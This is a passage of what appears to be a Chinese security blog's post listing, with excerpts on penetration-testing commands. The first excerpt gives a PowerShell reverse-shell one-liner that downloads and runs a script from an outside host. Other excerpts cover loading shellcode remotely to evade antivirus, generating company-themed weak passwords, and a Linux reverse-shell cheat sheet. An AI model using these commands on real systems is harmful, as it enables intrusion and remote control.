- 博客(8)
- 收藏
- 关注
RSS订阅原创 测试中用到的一些命令
在一片博客上看到的，原地址找不到了python开启web ：python3 -m http.server 8000powershell反弹shell：powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp1.ps1文件内容：function Invoke-lltestTcp{$client = New-Object Net.So
2020-07-30 10:07:22
254
原创 Powershell免杀（远程加载shellcode）笔记
原文链接远程加载的思路很简单，只需要将bin文件放到cs服务器上，利用远程读取shellcode的方式将恶意代码加载到内存执行即可。下面代码直接从uri读取字节数组（对的，没仔细看）# remoteshell.ps1Set-StrictMode -Version 2function get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_paramete
2020-06-24 11:29:11
2094
原创 生成企业特色弱口令的脚本
记录看到的一篇生成企业特色弱口令的脚本，十分简短，import itertoolsprefix = ['baidu', 'Baidu']for x in [''.join(x) for x in list(itertools.product(prefix, ['@', ''], ['2019', '2020', '2018', '123', '1234', '123456'], ['!', '', '.']))] : print(x)结果如下：baidu@2019!baidu@2019ba
2020-06-07 20:01:52
226
1
原创 vulnhub bossplayersCTF靶机 虚拟机设置 & 渗透
无论是netdiscover还是nmap都无法扫描出靶机，网络设置都是NAT（之前是桥接不行，百度之后改的）然后找到这篇文章：https://blog.csdn.net/asstart/article/details/103433065前面的都一样，但是到了vim /etc/network/interfacers这一步的时候，居然提示然后本渣查了好久（好一会儿），发现可以用vi命令修改，果然还是要学点基本的linux操作知识才行。后面就是百度如何使用vi命令了。end！no然后正式开始扫描
2020-05-19 15:25:50
840
转载 linux反弹备忘录
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.If it’s not possible to add a new account ...
2020-02-08 10:08:01
301
原创 python2、python3安装jupyter以及选择默认浏览器打开
欢迎使用Markdown编辑器你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章，了解一下Markdown的基本语法知识。新的改变我们对Markdown编辑器进行了一些功能拓展与语法支持，除了标准的Markdown编辑器功能，我们增加了如下几点新功能，帮助你用它写博客：全新的界面设计 ，将会带来全新的写作...
2019-02-21 09:03:03
1097
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人